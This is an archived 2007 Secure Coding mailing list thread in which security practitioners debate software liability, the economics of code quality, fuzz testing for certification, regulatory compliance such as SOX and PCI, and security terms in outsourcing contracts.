> For a long time I thought that software product liability would
> eventually be forced onto developers in response to their long-term
> failure to take responsibility for their shoddy code.  I was mistaken. 
> The pool of producers (i.e., the software industry) is probably too
> small for such blunt economic policy to work.
>   
I'm not sure about the size of the pool. I think it is more about the
amount of leverage that can be put on software:

    * It is trivial for some guy in a basement to produce a popular
      piece of open source software, which ends up being used as a
      controlling piece of a nuclear reactor, jet airplane, or
      automobile, and when it fails, $millions or $billions of damages
      result. The software author has no where near the resources to pay
      the damage, or even the insurance premiums on the potential damage.
    * In contrast, with physical stuff it is usually the case that the
      ability to cause huge damage requires huge capital in the first
      place, such as building nuclear reactors, jet planes, and cars.

With this kind of leverage, the software producers don't have the
resources to take responsibility, and so strict liability applied to
authors reduces to "don't produce software" unless, possibly, you work
for a very large corporation with deep pockets. Even then, corporate
bean counters would likely prevent you from writing any software because
the potential liability is so large.

> It appears, now, that producers will not be regulated, but rather users
> and consumers.  SOX, HIPAA, BASEL II, etc. are all about regulating
> already well-established business practices that just happen to be
> incorporating more software into their operations. 
>   
Much like the gun industry. Powerful, deadly tools that, if used
inappropriately, can cause huge damage.

"Use appropriately" may be part of the key here. If you use your car
improperly and kill people as a result of e.g. your drunk driving, then
the car maker is not responsible. OTOH, if the design of your top-heavy
SUV combined with crappy tires results in rollovers, then courts do hold
the vendors responsible.

The problem with software: what is "appropriate"? Conceptually, that the
software in question has been sufficiently vetted for quality to justify
the risk involved. Efforts to do that kind of thing are used in select
industries (nukes and planes) but not widely, because the cost of
vetting is huge, so it only is used when the liabilities are huge.

Why? Because software metrics suck. 30 years of software engineering
research, and LOC is still arguably one of the best metrics of software
complexity, and there is almost nothing usable as a metric for software
quality.

It is not that no one has tried; lots of R&D goes into software
engineering. Its not that there are no new ideas; lots of those abound.
Its not that there has been no advances in understanding; we know a lot
more about the problem than we used to.

I think it is just that it is a hard problem.

Software, by its nature, is vastly more complex per pound :) ^W^W per
unit person effort than any other artifact mankind has ever produced.
One developer in one month can produce a functional software artifact
that it would take a hundred people 10 years to verify as safe. With
those ratios, this problem will not fall easily.

> But as with other "serious" security policy formulations - the
> technology is irrelevant.  The policies, whether SOX or Multi-level
> Security, are intended to protect information of vital importance to the
> organization.  If technical controls are adequate to enforce them -
> fine.  If not, that in no way absolves the enterprise of the need to
> provide adequate controls.
>   
Sure it does :) Just show that your organization performed "due
diligence" that is up to "industry standards" and the fact that you
failed pretty much does absolve you, in the eyes of the likes of SOX and
Basil.

It is a very interesting transition from trying to hold software vendors
liable to trying to hold deploying organizations liable, but this first
round of regulation looks like a sinecure for compliance consultants and
a few specialty vendors,and not much else.

> The computer software industry has lost its way.  It appears to be
> satisfied with prodding and encouraging software developers to develop
> some modicum of shame for the shoddy quality of their output.  Feed the
> beast, and support rampant featurism - its what's made so many people
> rich, after all.
>   
The consumers who chose feature-rich over high-quality did that, not the
software industry.

> In the long run, though, featurism without quality is not sustainable. 
> That is certainly true, and I applaud efforts to encourage developers to
> rise up from their primordial ooze and embrace the next steps in sane
> programming (we HAVE largely stamped out self-modifying code, but
> strcpy() is still a problem...)
>   
I beg to differ. There is no evidence at all that the "good enough"
modality is not sustainable. Read Vernor Vinge's "A Deepness in the Sky"
for a fascinating vision on what 10,000 years of shoddy software
development could produce. And its a damn fine book.

> What's most disappointing to me is the near-total lack of discussion
> about security policies and models in the whole computer security field,
> today.
>   
I see the policy field growing, albeit slowly. SELinux and AppArmor are
getting traction now, and 5 years ago they were exotic toys for weirdos.

> If engineering is the practice of applying the logic and proofs provided
> by science to real world situations, software engineering and computer
> science seem simply to have closed their eyes to the question of system
> security and internal controls.
>
> Perhaps economics will reinvigorate the discussion in the coming decades.
>   
I view this as completely ironic. It was economics that forced the
software industry to close its eyes to formalism and quality. the
industry won't change until economics make quality matter more than
features, and I have yet to see any hint of that happening. For example,
Microsoft Vista is:

    * Much better code quality: MS invested heavily in both automated
      and human code checking before shipping.
    * Feature-poor: they pulled back on most of the interesting
      features, and as a result Vista is fundamentally XP++ with a
      pretty 3D GUI.
    * A year or two late.
    * Bombing in the market: the street chat I see is enterprises doing
      anything possible to avoid upgrading to Vista.

So it seems that even mighty Microsoft, when they try for quality over
features, just gets punished in the market place.

Crispin

-- 
Crispin Cowan, Ph.D.                      http://crispincowan.com/~crispin/
Director of Software Engineering, Novell  http://novell.com
     Hacking is exploiting the gap between "intent" and "implementation"


From ge at linuxbox.org  Mon Mar 12 19:50:47 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Mon, 12 Mar 2007 19:50:47 -0500 (CDT)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45F5E1C9.8030101@novell.com>
Message-ID: <Pine.LNX.4.21.0703121948450.11867-100000@linuxbox.org>

On Mon, 12 Mar 2007, Crispin Cowan wrote:
> Ed Reed wrote:
> > For a long time I thought that software product liability would
> > eventually be forced onto developers in response to their long-term
> > failure to take responsibility for their shoddy code.  I was mistaken. 
> > The pool of producers (i.e., the software industry) is probably too
> > small for such blunt economic policy to work.
> >   
> I'm not sure about the size of the pool. I think it is more about the
> amount of leverage that can be put on software:
> 
>     * It is trivial for some guy in a basement to produce a popular
>       piece of open source software, which ends up being used as a
>       controlling piece of a nuclear reactor, jet airplane, or
>       automobile, and when it fails, $millions or $billions of damages
>       result. The software author has no where near the resources to pay
>       the damage, or even the insurance premiums on the potential damage.
>     * In contrast, with physical stuff it is usually the case that the
>       ability to cause huge damage requires huge capital in the first
>       place, such as building nuclear reactors, jet planes, and cars.
> 
> With this kind of leverage, the software producers don't have the
> resources to take responsibility, and so strict liability applied to
> authors reduces to "don't produce software" unless, possibly, you work
> for a very large corporation with deep pockets. Even then, corporate
> bean counters would likely prevent you from writing any software because
> the potential liability is so large.
> 
> > It appears, now, that producers will not be regulated, but rather users
> > and consumers.  SOX, HIPAA, BASEL II, etc. are all about regulating
> > already well-established business practices that just happen to be
> > incorporating more software into their operations. 
> >   
> Much like the gun industry. Powerful, deadly tools that, if used
> inappropriately, can cause huge damage.

Indeed, and I found your posts enlightening.

Still, today an alternative presentsitself in the now more likely realm of
software security certification and testing. It has become more easier and
potentially regulated now that fuzzers have become:

1. Good enough.
2. Measurable.
3. Widely accessible.

	Gadi.


From gem at cigital.com  Tue Mar 13 06:23:06 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 13 Mar 2007 07:23:06 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
Message-ID: <83B3489DF1064F4E90218770D953D36107B8E9@va-mail.cigital.com>

In my opinion, though fuzz testing is certainly a useful technique (we've used it in hardware verification for years), any certification based solely on fuzz testing for security would be ludicrous.  Fuzz testing is not a silver bullet.

The biggest stumbling block for software certification is variability in final environment.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com

 -----Original Message-----
From: 	Gadi Evron [mailto:ge at linuxbox.org]
Sent:	Mon Mar 12 21:48:25 2007
To:	Crispin Cowan
Cc:	fuzzing at whitestar.linuxbox.org; Ed Reed; sc-l at securecoding.org
Subject:	Re: [SC-L] Economics of Software Vulnerabilities

On Mon, 12 Mar 2007, Crispin Cowan wrote:
> Ed Reed wrote:
> > For a long time I thought that software product liability would
> > eventually be forced onto developers in response to their long-term
> > failure to take responsibility for their shoddy code.  I was mistaken. 
> > The pool of producers (i.e., the software industry) is probably too
> > small for such blunt economic policy to work.
> >   
> I'm not sure about the size of the pool. I think it is more about the
> amount of leverage that can be put on software:
> 
>     * It is trivial for some guy in a basement to produce a popular
>       piece of open source software, which ends up being used as a
>       controlling piece of a nuclear reactor, jet airplane, or
>       automobile, and when it fails, $millions or $billions of damages
>       result. The software author has no where near the resources to pay
>       the damage, or even the insurance premiums on the potential damage.
>     * In contrast, with physical stuff it is usually the case that the
>       ability to cause huge damage requires huge capital in the first
>       place, such as building nuclear reactors, jet planes, and cars.
> 
> With this kind of leverage, the software producers don't have the
> resources to take responsibility, and so strict liability applied to
> authors reduces to "don't produce software" unless, possibly, you work
> for a very large corporation with deep pockets. Even then, corporate
> bean counters would likely prevent you from writing any software because
> the potential liability is so large.
> 
> > It appears, now, that producers will not be regulated, but rather users
> > and consumers.  SOX, HIPAA, BASEL II, etc. are all about regulating
> > already well-established business practices that just happen to be
> > incorporating more software into their operations. 
> >   
> Much like the gun industry. Powerful, deadly tools that, if used
> inappropriately, can cause huge damage.

Indeed, and I found your posts enlightening.

Still, today an alternative presentsitself in the now more likely realm of
software security certification and testing. It has become more easier and
potentially regulated now that fuzzers have become:

1. Good enough.
2. Measurable.
3. Widely accessible.

	Gadi.

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From gem at cigital.com  Tue Mar 13 06:29:51 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 13 Mar 2007 07:29:51 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
Message-ID: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>

Hi crispy,

I'm not sure vista is bombing because of good quality.   That certainly would be ironic.   

Word on the "way down in the guts" street is that vista is too many things cobbled together into one big kinda functioning mess.  My bet is that Vista SP2 will be a completely different beast.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com
 

 -----Original Message-----
From: 	Crispin Cowan [mailto:crispin at novell.com]
Sent:	Mon Mar 12 20:45:43 2007
To:	Ed Reed
Cc:	sc-l at securecoding.org
Subject:	Re: [SC-L] Economics of Software Vulnerabilities

Ed Reed wrote:
> For a long time I thought that software product liability would
> eventually be forced onto developers in response to their long-term
> failure to take responsibility for their shoddy code.  I was mistaken. 
> The pool of producers (i.e., the software industry) is probably too
> small for such blunt economic policy to work.
>   
I'm not sure about the size of the pool. I think it is more about the
amount of leverage that can be put on software:

    * It is trivial for some guy in a basement to produce a popular
      piece of open source software, which ends up being used as a
      controlling piece of a nuclear reactor, jet airplane, or
      automobile, and when it fails, $millions or $billions of damages
      result. The software author has no where near the resources to pay
      the damage, or even the insurance premiums on the potential damage.
    * In contrast, with physical stuff it is usually the case that the
      ability to cause huge damage requires huge capital in the first
      place, such as building nuclear reactors, jet planes, and cars.

With this kind of leverage, the software producers don't have the
resources to take responsibility, and so strict liability applied to
authors reduces to "don't produce software" unless, possibly, you work
for a very large corporation with deep pockets. Even then, corporate
bean counters would likely prevent you from writing any software because
the potential liability is so large.

> It appears, now, that producers will not be regulated, but rather users
> and consumers.  SOX, HIPAA, BASEL II, etc. are all about regulating
> already well-established business practices that just happen to be
> incorporating more software into their operations. 
>   
Much like the gun industry. Powerful, deadly tools that, if used
inappropriately, can cause huge damage.

"Use appropriately" may be part of the key here. If you use your car
improperly and kill people as a result of e.g. your drunk driving, then
the car maker is not responsible. OTOH, if the design of your top-heavy
SUV combined with crappy tires results in rollovers, then courts do hold
the vendors responsible.

The problem with software: what is "appropriate"? Conceptually, that the
software in question has been sufficiently vetted for quality to justify
the risk involved. Efforts to do that kind of thing are used in select
industries (nukes and planes) but not widely, because the cost of
vetting is huge, so it only is used when the liabilities are huge.

Why? Because software metrics suck. 30 years of software engineering
research, and LOC is still arguably one of the best metrics of software
complexity, and there is almost nothing usable as a metric for software
quality.

It is not that no one has tried; lots of R&D goes into software
engineering. Its not that there are no new ideas; lots of those abound.
Its not that there has been no advances in understanding; we know a lot
more about the problem than we used to.

I think it is just that it is a hard problem.

Software, by its nature, is vastly more complex per pound :) ^W^W per
unit person effort than any other artifact mankind has ever produced.
One developer in one month can produce a functional software artifact
that it would take a hundred people 10 years to verify as safe. With
those ratios, this problem will not fall easily.

> But as with other "serious" security policy formulations - the
> technology is irrelevant.  The policies, whether SOX or Multi-level
> Security, are intended to protect information of vital importance to the
> organization.  If technical controls are adequate to enforce them -
> fine.  If not, that in no way absolves the enterprise of the need to
> provide adequate controls.
>   
Sure it does :) Just show that your organization performed "due
diligence" that is up to "industry standards" and the fact that you
failed pretty much does absolve you, in the eyes of the likes of SOX and
Basil.

It is a very interesting transition from trying to hold software vendors
liable to trying to hold deploying organizations liable, but this first
round of regulation looks like a sinecure for compliance consultants and
a few specialty vendors,and not much else.

> The computer software industry has lost its way.  It appears to be
> satisfied with prodding and encouraging software developers to develop
> some modicum of shame for the shoddy quality of their output.  Feed the
> beast, and support rampant featurism - its what's made so many people
> rich, after all.
>   
The consumers who chose feature-rich over high-quality did that, not the
software industry.

> In the long run, though, featurism without quality is not sustainable. 
> That is certainly true, and I applaud efforts to encourage developers to
> rise up from their primordial ooze and embrace the next steps in sane
> programming (we HAVE largely stamped out self-modifying code, but
> strcpy() is still a problem...)
>   
I beg to differ. There is no evidence at all that the "good enough"
modality is not sustainable. Read Vernor Vinge's "A Deepness in the Sky"
for a fascinating vision on what 10,000 years of shoddy software
development could produce. And its a damn fine book.

> What's most disappointing to me is the near-total lack of discussion
> about security policies and models in the whole computer security field,
> today.
>   
I see the policy field growing, albeit slowly. SELinux and AppArmor are
getting traction now, and 5 years ago they were exotic toys for weirdos.

> If engineering is the practice of applying the logic and proofs provided
> by science to real world situations, software engineering and computer
> science seem simply to have closed their eyes to the question of system
> security and internal controls.
>
> Perhaps economics will reinvigorate the discussion in the coming decades.
>   
I view this as completely ironic. It was economics that forced the
software industry to close its eyes to formalism and quality. the
industry won't change until economics make quality matter more than
features, and I have yet to see any hint of that happening. For example,
Microsoft Vista is:

    * Much better code quality: MS invested heavily in both automated
      and human code checking before shipping.
    * Feature-poor: they pulled back on most of the interesting
      features, and as a result Vista is fundamentally XP++ with a
      pretty 3D GUI.
    * A year or two late.
    * Bombing in the market: the street chat I see is enterprises doing
      anything possible to avoid upgrading to Vista.

So it seems that even mighty Microsoft, when they try for quality over
features, just gets punished in the market place.

Crispin

-- 
Crispin Cowan, Ph.D.                      http://crispincowan.com/~crispin/
Director of Software Engineering, Novell  http://novell.com
     Hacking is exploiting the gap between "intent" and "implementation"

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From eballen1 at qwest.net  Tue Mar 13 07:59:50 2007
From: eballen1 at qwest.net (Bruce Ediger)
Date: Tue, 13 Mar 2007 06:59:50 -0600 (MDT)
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <5e01c29a0703121434w4436461and992c073293b85ce@mail.gmail.com>
References: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>
	<5e01c29a0703121434w4436461and992c073293b85ce@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0703130650160.17086@statigery.qwest.net>

On Tue, 13 Mar 2007, somebody wrote (attribution isn't clear to me):

> no. my feeling is that it focuses management on unimportant things like
> meeting checkpoints rather then actually doing useful things.

I heartily agree. "Compliance" almost always becomes (in the worst sense
of the word) a mantra to chant down all disagreement.  "Compliance" becomes
the *administrative* stick-and-carrot, rather like a driver's license in
the US.

That is, every US citizen has this set of nominal "rights" that nobody
can take away.  On the other hand, a driver's license is a privilege,
so you have to jump through some hoops to get it, and it comes with
mandatory behaviors, not all of them legal, most of them administrative.
Life in the US without a driver's license is marginal.  So, administrators
use driver's licenses to punish and guide behavior in ways nominally,
or legally, forbidden.  Wink wink, nudge nudge.

I'm most familiar with PCI, and some of the things that people put in
it are just downright stupid.  If you run your credit card processing
on Solaris, why should you put in a virus scanner?  Seriously, folks...

Since "compliance" becomes an administrative tool, the weapons against
actually paying for "compliance" become administrative, hence the focus
on meeting checklist items.  A checklist can't really contain all the
capability of a general purpose computing system, as checklists do not
have looping or decision making in them.  So, they'll always have weird
limits, and people will try to overcome those limitations by adding to
the checklists.

"Compliance" becomes a rallying point for the professional meeting
attenders, parasites and hangers on, hierarchy jockeys.

From ge at linuxbox.org  Tue Mar 13 08:32:55 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Tue, 13 Mar 2007 08:32:55 -0500 (CDT)
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <83B3489DF1064F4E90218770D953D36107B8E9@va-mail.cigital.com>
Message-ID: <Pine.LNX.4.21.0703130826000.11867-100000@linuxbox.org>

On Tue, 13 Mar 2007, Gary McGraw wrote:
> In my opinion, though fuzz testing is certainly a useful technique (we've used it in hardware verification for years), any certification based solely on fuzz testing for security would be ludicrous.  Fuzz testing is not a silver bullet.

Fuzzing is indeed, most definitely, not a or the silver bullet, nor should
testing be based on itsolely. What it does provide us with is a measurable
fashion by which we can reliably test the:
1. Stability
2. Programming quality
3. Robustness

Of software, to a level which is much higher than employing several
reverse engineers and test engineers (not to say just examining
vulnerability history on the bugtraq archive).

Further, if not by certification, fuzzing has already shown it can
pressure companies to use software development lifecycle methodologies and
that way enforcing (encouraging?) better security with "partners" (read
Microsoft).

Fuzzing has also shown that it can be used to force vendors who sell to
you to indeed be "tested" by certain products (read large
Telcos). Although I am unsure if this approach holds water.

The re-emergence of this field beyond rubber stamp certifications or very
costly certifications, is something I see as very positive.

That, of course, if not a or the sulver bullet in any way, either, but
maybe we will see less input validation bugs around and will start facing
logical flaws that will boggle our minds.

Personal opinion: enough with buffer overflows already, no? :)

> The biggest stumbling block for software certification is variability in final environment.

That makes sense, but I figure if we can eliminate some more by a factor
in our testing environment(s), all the better.

> gem

	Gadi.

--
"beepbeep it, i leave work, stop reading sec lists and im still hearing
gadi"
- HD Moore to Gadi Evron on IM, on Gadi's interview on npr, March 2007.


From ken at krvw.com  Tue Mar 13 11:18:47 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 13 Mar 2007 12:18:47 -0400
Subject: [SC-L] Information Protection Policies
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA523@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB46019CA523@AD1HFDEXC309.ad1.prod>
Message-ID: <F432026C-45BF-4922-B635-6CBB73FAD164@krvw.com>

On Mar 9, 2007, at 5:27 PM, McGovern, James F ((HTSC, IT)) wrote:
> Ken, in terms of a previous response to your posting in terms of  
> getting customers to ask for secure coding practices from vendors,  
> wouldn't it start with figuring out how they could simply cut-and- 
> paste InfoSec policies into their own?

Using someone's "boilerplate" policies as a starting point is great,  
as long as they go beyond just infosec policies and include examples/ 
guidelines for writing contracts for outsourcing software development  
and acquisition.

Steve Christey pointed to OWASP's example at http://www.owasp.org/ 
index.php/OWASP_Secure_Software_Contract_Annex.  While I haven't  
(yet) looked at this AND while I'm certainly no authority on contract  
writing, I'd bet that this OWASP example will at least provide some  
pretty good food for thought for anyone who is contracting software  
development.

I firmly believe that we as consumers and as a whole, are not doing  
an adequate job at demanding more in the way of software security  
from the software we purchase and outsource.  IMHO, that shouldn't be  
horribly difficult to change in the short- to medium-term.  Better  
contracts and contractor oversight (e.g., independent architectural  
risk analysis, static code analysis, and rigorous security testing)  
should go a long way.  I know I'm over-simplifying things here, but  
still...

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070313/f6897a61/attachment-0001.bin 

From gem at cigital.com  Tue Mar 13 11:21:36 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 13 Mar 2007 12:21:36 -0400
Subject: [SC-L] Darkreading: compliance
Message-ID: <83B3489DF1064F4E90218770D953D36107B8F3@va-mail.cigital.com>

Once again i'll ask.  Which vertical is the kind of company where you're seeing this awful behavior in?

BTW, sammy migues agrees with you in a thread we're having on the justice league blog www.cigital.com/justiceleague (look under SOX).

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com.



 -----Original Message-----
From: 	Bruce Ediger [mailto:eballen1 at qwest.net]
Sent:	Tue Mar 13 12:10:42 2007
To:	
Cc:	SC-L at securecoding.org
Subject:	Re: [SC-L] Darkreading: compliance

On Tue, 13 Mar 2007, somebody wrote (attribution isn't clear to me):

> no. my feeling is that it focuses management on unimportant things like
> meeting checkpoints rather then actually doing useful things.

I heartily agree. "Compliance" almost always becomes (in the worst sense
of the word) a mantra to chant down all disagreement.  "Compliance" becomes
the *administrative* stick-and-carrot, rather like a driver's license in
the US.

That is, every US citizen has this set of nominal "rights" that nobody
can take away.  On the other hand, a driver's license is a privilege,
so you have to jump through some hoops to get it, and it comes with
mandatory behaviors, not all of them legal, most of them administrative.
Life in the US without a driver's license is marginal.  So, administrators
use driver's licenses to punish and guide behavior in ways nominally,
or legally, forbidden.  Wink wink, nudge nudge.

I'm most familiar with PCI, and some of the things that people put in
it are just downright stupid.  If you run your credit card processing
on Solaris, why should you put in a virus scanner?  Seriously, folks...

Since "compliance" becomes an administrative tool, the weapons against
actually paying for "compliance" become administrative, hence the focus
on meeting checklist items.  A checklist can't really contain all the
capability of a general purpose computing system, as checklists do not
have looping or decision making in them.  So, they'll always have weird
limits, and people will try to overcome those limitations by adding to
the checklists.

"Compliance" becomes a rallying point for the professional meeting
attenders, parasites and hangers on, hierarchy jockeys.
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From gem at cigital.com  Tue Mar 13 11:25:25 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 13 Mar 2007 12:25:25 -0400
Subject: [SC-L] Information Protection Policies
Message-ID: <83B3489DF1064F4E90218770D953D36107B8F5@va-mail.cigital.com>

There is a text box in "Software Security" about this with some language I copied (with permission) from jack danahy of ounce labs.  

www.swsec.com

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


 -----Original Message-----
From: 	Kenneth Van Wyk [mailto:ken at krvw.com]
Sent:	Tue Mar 13 12:23:16 2007
To:	Secure Coding
Subject:	Re: [SC-L] Information Protection Policies

On Mar 9, 2007, at 5:27 PM, McGovern, James F ((HTSC, IT)) wrote:
> Ken, in terms of a previous response to your posting in terms of  
> getting customers to ask for secure coding practices from vendors,  
> wouldn't it start with figuring out how they could simply cut-and- 
> paste InfoSec policies into their own?

Using someone's "boilerplate" policies as a starting point is great,  
as long as they go beyond just infosec policies and include examples/ 
guidelines for writing contracts for outsourcing software development  
and acquisition.

Steve Christey pointed to OWASP's example at http://www.owasp.org/ 
index.php/OWASP_Secure_Software_Contract_Annex.  While I haven't  
(yet) looked at this AND while I'm certainly no authority on contract  
writing, I'd bet that this OWASP example will at least provide some  
pretty good food for thought for anyone who is contracting software  
development.

I firmly believe that we as consumers and as a whole, are not doing  
an adequate job at demanding more in the way of software security  
from the software we purchase and outsource.  IMHO, that shouldn't be  
horribly difficult to change in the short- to medium-term.  Better  
contracts and contractor oversight (e.g., independent architectural  
risk analysis, static code analysis, and rigorous security testing)  
should go a long way.  I know I'm over-simplifying things here, but  
still...

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com








----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From michaelslists at gmail.com  Tue Mar 13 17:04:08 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Wed, 14 Mar 2007 09:04:08 +1100
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <83B3489DF1064F4E90218770D953D36107B8F3@va-mail.cigital.com>
References: <83B3489DF1064F4E90218770D953D36107B8F3@va-mail.cigital.com>
Message-ID: <5e01c29a0703131504u4b989ccex209ae81a2af59f87@mail.gmail.com>

On 3/14/07, Gary McGraw <gem at cigital.com> wrote:
>
> Once again i'll ask.  Which vertical is the kind of company where you're
> seeing this awful behavior in?



well, fwiw, i've noticed it in finance/investment, and the entertainment
industries. but i honestly don't think the industry type makes a whole lot
of difference. it's a corporate management thing.


BTW, sammy migues agrees with you in a thread we're having on the justice
> league blog www.cigital.com/justiceleague (look under SOX).
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com.
>
>
>
> -----Original Message-----
> From:   Bruce Ediger [mailto:eballen1 at qwest.net]
> Sent:   Tue Mar 13 12:10:42 2007
> To:
> Cc:     SC-L at securecoding.org
> Subject:        Re: [SC-L] Darkreading: compliance
>
> On Tue, 13 Mar 2007, somebody wrote (attribution isn't clear to me):
>
> > no. my feeling is that it focuses management on unimportant things like
> > meeting checkpoints rather then actually doing useful things.
>
> I heartily agree. "Compliance" almost always becomes (in the worst sense
> of the word) a mantra to chant down all disagreement.  "Compliance"
> becomes
> the *administrative* stick-and-carrot, rather like a driver's license in
> the US.
>
> That is, every US citizen has this set of nominal "rights" that nobody
> can take away.  On the other hand, a driver's license is a privilege,
> so you have to jump through some hoops to get it, and it comes with
> mandatory behaviors, not all of them legal, most of them administrative.
> Life in the US without a driver's license is marginal.  So, administrators
> use driver's licenses to punish and guide behavior in ways nominally,
> or legally, forbidden.  Wink wink, nudge nudge.
>
> I'm most familiar with PCI, and some of the things that people put in
> it are just downright stupid.  If you run your credit card processing
> on Solaris, why should you put in a virus scanner?  Seriously, folks...
>
> Since "compliance" becomes an administrative tool, the weapons against
> actually paying for "compliance" become administrative, hence the focus
> on meeting checklist items.  A checklist can't really contain all the
> capability of a general purpose computing system, as checklists do not
> have looping or decision making in them.  So, they'll always have weird
> limits, and people will try to overcome those limitations by adding to
> the checklists.
>
> "Compliance" becomes a rallying point for the professional meeting
> attenders, parasites and hangers on, hierarchy jockeys.
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>
>
>
> ----------------------------------------------------------------------------
> This electronic message transmission contains information that may be
> confidential or privileged.  The information contained herein is intended
> solely for the recipient and use by any other party is not authorized.  If
> you are not the intended recipient (or otherwise authorized to receive
> this
> message by the intended recipient), any disclosure, copying, distribution
> or
> use of the contents of the information is prohibited.  If you have
> received
> this electronic message transmission in error, please contact the sender
> by
> reply email and delete all copies of this message.  Cigital, Inc. accepts
> no
> responsibility for any loss or damage resulting directly or indirectly
> from
> the use of this email or its contents.
> Thank You.
>
> ----------------------------------------------------------------------------
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>



-- 
mike
00110001 <3 00110111
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070314/80c8c649/attachment.html 

From gem at cigital.com  Wed Mar 14 09:39:48 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 14 Mar 2007 10:39:48 -0400
Subject: [SC-L] Silver Bullet: Becky Bace
Message-ID: <83B3489DF1064F4E90218770D953D3610F2BAC@va-mail.cigital.com>

Hi all,

The 12th episode of the Silver Bullet Security Podcast went live last
night.  This episode features an interview with Becky Bace, one of the
earliest security gurus and a very interesting woman. 

http://www.cigital.com/silverbullet/show-012/

As usual, my thanks to IEEE Security & Privacy magazine for helping to
make silver bullet possible.  I hope you enjoy it.

gem

company www.cigital.com
